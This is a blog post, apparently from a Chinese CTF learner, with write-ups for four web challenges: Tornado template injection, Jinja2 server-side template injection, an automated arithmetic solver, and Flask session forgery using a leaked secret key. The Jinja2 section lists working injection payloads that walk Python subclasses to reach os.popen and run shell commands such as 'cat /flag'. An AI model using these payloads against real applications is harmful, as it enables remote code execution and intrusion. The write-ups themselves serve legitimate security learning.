周任务【一】

easy_tornado
*模板注入

easy_tornado
从零开始学习SSTI

打开场景发现有三个文件
在这里插入图片描述
flag.txt里面提示了我们真正存储flag的文件
在这里插入图片描述
welcome.txt文件里面提示了我们render
python SSTI tornado render模板注入
在tornado里的render函数的意思是找到模板文件,进行渲染,从而显示页面,因此猜测我们可以将cookie_secret进行渲染然后显示在页面中
hints.txt

/hints.txt
md5(cookie_secret+md5(filename))

因为我们已知flag在/fllllllllllllag中,而从url中我们可以改变filenamefilehash实现对文件的读取,而从hints.txt中可以猜测filehash的值应该是md5加密
但是不知道cookie_secret怎么获取
tornado之setting示例
在这里插入图片描述
由此可知在tornado中,cookie_secret在settings中,因此我们要得到cookie_secret就要调用settings
Tornado小记 – 模板中的Handler

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!
?filename=/fllllllllllllag

发现出现了报错界面
在这里插入图片描述
而url上还用get传参msg,而页面出现了所传的参数的值,试着输入{{2}},确定是模板注入,根据前面的分析输入?msg={{handler.settings}}得到cookie_secret

?msg={{1+1}}
?msg={{escape}}
?msg={{handler.settings}}
?msg={{2}}
?msg={{1*1}}

然后根据提示进行加密传参得到flag:

md5(cookie_secret+md5(filename))
/fllllllllllllag

payload:

?filename=/fllllllllllllag&filehash=d53ac0bbb195cc17f1d6faf3daf54052
[BJDCTF]fake google
*SSTI

打开场景,发现是一个谷歌搜索界面,随便输入内容,搜索之后发现源码有提示,是SSTI模板注入,但是其中又包括多种模板注入,接下去我们就要判断是什么模板注入
在这里插入图片描述
在这里插入图片描述

{{7*'7'}} 

在这里插入图片描述

输入以上内容时,最后的结果是7777777,可以判断出来是jinja2模板注入
先百度搜索jinja模板注入的相关知识
细说Jinja2之SSTI&bypass
在这里插入图片描述

一些注入:

{{config}}可以获取当前设置
{{self}}
{{self.__dict__._TemplateReference__context.config}} 同样可以看到config
__class__    返回类型所属的对象
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用,会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块

构造链:

1.使用__class__来获取内置类所对应的类,可以通过使用str,list,tuple,dict等来获取
2.拿到object基类,可以利用用__bases__[0]拿到基类(还有其他方法
3.用__subclasses__()拿到子类列表
4.在子类列表中找到可以getshell的类

首先我们要先查找可以getshell的类的索引(下标
本地查找的py:

a = 'popen'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if a in i.__init__.__globals__.keys():
            print(i,num)
            pass
        pass
    except:
        pass
    pass

#<class 'os._wrap_close'> 128

但是做题的时候用脚本没有成功,看了别的师傅的wp说是在117位

{{[].__class__.__base__.__subclasses__()}}  查看当前可用模块

在这里插入图片描述

在这里插入图片描述
注:上面的方法搜索到的类找到os._wrap_close模块
payload1:

{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}}  
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}  
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}

还有一种方法 利用__builtins__代码执行
在这里插入图片描述
payload2:

{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

payload3:
查找warnings.catch_warnings模块中的OS模块

?name={{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}

参考:

SSTI模板注入

Flask/Jinja2 SSTI 学习

[BJDCTF 2nd]fake google

夜幕下的灯火阑珊

[GXYCTF2019]StrongestMind

打开场景发现是
在这里插入图片描述

0x01:
根据h3zh1师傅的脚本学习写脚本(

from requests import *
import re

url = "http://204fa602-0a0a-45d3-9b26-3c9348ccf6e9.node3.buuoj.cn/index.php"
s = session()  # 因为是计算题 用session记录次数
rr = re.compile(r"[0-9]+ [+|-] [0-9]+")  #正则匹配数字

r = s.get(url)
r.encoding = "utf-8"
data = {"answer":eval(rr.findall(r.text)[0])}  #post传参的数据,用字典类型,从题目已知键为 answer
r = s.post(url,data=data)  #post传参

for i in range(1000):
	answer = eval(rr.findall(r.text)[0])  # 先findall匹配r.text中的整型运算并执行 r.text返回字符串
	data = { "answer" : answer }  #结果给data
	r = s.post( url , data=data) #进行post传参
	r.encoding = "utf-8"
	print('[+%d]:'%(i) + str(answer))  #输出第几次还有结果

print(r.text) #1000次结束之后返回页面的内容,应该会有flag

主要思路:

1.将页面运算正则匹配下来,并用eval函数执行

2.post传参

3.输出页面内容

一些知识:
正则表达式re.compile()的使用
Python 正则表达re模块之findall()详解
re — 正则表达式操作
python3 requests详解

requests
requests库是一个常用的用于http请求的模块,它使用python语言编写,可以方便的对网页进行爬取,是学习python爬虫的较好的http请求模块。
requests.get()	获取html的主要方法
requests.post()	向html网页提交post请求的方法
r.text	http响应内容的字符串形式,即返回的页面内容

re
正则表达式匹配操作
re.compile
模块re的函数,进行正则匹配,compile 函数用于编译正则表达式,生成一个 Pattern 对象
re.findall
返回string中所有与pattern匹配的全部字符串,返回形式为数组。

eval
将字符串当作python代码执行

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

因为不知道rr.findall(r.text)[0]这句代码,进行了本地测试

import re
aa = '15080904 - 45969142'
kk = re.compile(r"[0-9]+ [+|-] [0-9]+")
r = kk.findall(aa)[0]
print(r)
#15080904 - 45969142

一些自己打脚本的时候遇到的问题:
1.注意正则匹配的格式
2.要用time.sleep,请求太快时会导致出错

r = s.get(url)
r = s.post(url, data=data)

answer = eval(zz.findall(r.text)[0])

最后自己打了好几遍脚本,总算是有点习惯了,之后再跟别的师傅的脚本继续学习吧
最后自己打的脚本,虽然和h3zh1师傅一样(

import re
import requests
import time

url = 'http://f858f9f6-828c-4a3a-bef2-2e1a42f4f737.node3.buuoj.cn/'
s = requests.session()
r = s.get(url)

zz = re.compile(r"[0-9]+ [+|-] [0-9]+")

js = zz.findall(r.text)[0]

for i in range(1001):
    js = zz.findall(r.text)[0]  #爬取数据
    jg = eval(js)  #计算结果
    data = {"answer": jg}  #因为后面要post传字典
    r = s.post(url, data=data)  #post请求
    print("{}:{}".format(i,jg))
    time.sleep(0.09)
    pass
print(r.text)
[HCTF]admin
session
flask

0x01:
打开场景出现登录界面,随便注册一个账号登录的时候看源码发现有提示
在这里插入图片描述
说不是admin,说明可能以admin登录之后就会得到flag,不知道为什么以123为密码直接登录就直接成功了
在这里插入图片描述
去找了wp学习知识(

0x02:

change password页面查看源码,发现一个网址,打开之后下载得到源码,可以进行审计
在这里插入图片描述
但是由于不知道该从哪看起,而师傅们的wp提示是flask session伪造身份,所以让我们先百度flask
Flask中路由使用解析
在这里插入图片描述
这里发现有jinja模板引擎,可能和模板注入有关
在这里插入图片描述
而在压缩包中我们可以找到routes.py,里面分别定义了网页所需要的各项函数

#!/usr/bin/env python
# -*- coding:utf-8 -*-

@app.route('/code')
def get_code():
  
@app.route('/')
@app.route('/index')


@app.route('/register', methods = ['GET', 'POST'])
def register():

@app.route('/login', methods = ['GET', 'POST'])
def login():
  
@app.route('/logout')
def logout():

@app.route('/change', methods = ['GET', 'POST'])
def change():

@app.route('/edit', methods = ['GET', 'POST'])
def edit():

@app.errorhandler(404)
def page_not_found(error):

def strlower(username):
    username = nodeprep.prepare(username)
    return username

查询了flask session伪造身份
flask session伪造
看了文章之后,我们要进行的大概就是将我们的session进行伪造并加密,然后抓包上传,即可将我们的身份伪造成admin,实现admin身份登录
在这里插入图片描述
而在下载的源码中发现config.py以及密钥

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

可以在github上找到flask_session的加密脚本
flask-session-cookie-manager
在这里插入图片描述
之后抓包将session的值复制下来进行解密
在这里插入图片描述
在这里插入图片描述

{'_fresh': True, '_id': b'f096f673f3ab65124680650c8c2efdcb487cb399fb3a00b9a8ed39de632de2de80cb7206a69a3e2da553f30e5fd5d0f7f8140e51cef30033bc65567362fc6655', 'csrf_token': b'e5a55e55980a6f26464899fa7a36859593ae0529', 'image': b'XigJ', 'name': 'admin', 'user_id': '10'}

将name改成admin之后进行加密,改数据包并上传回到首页得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值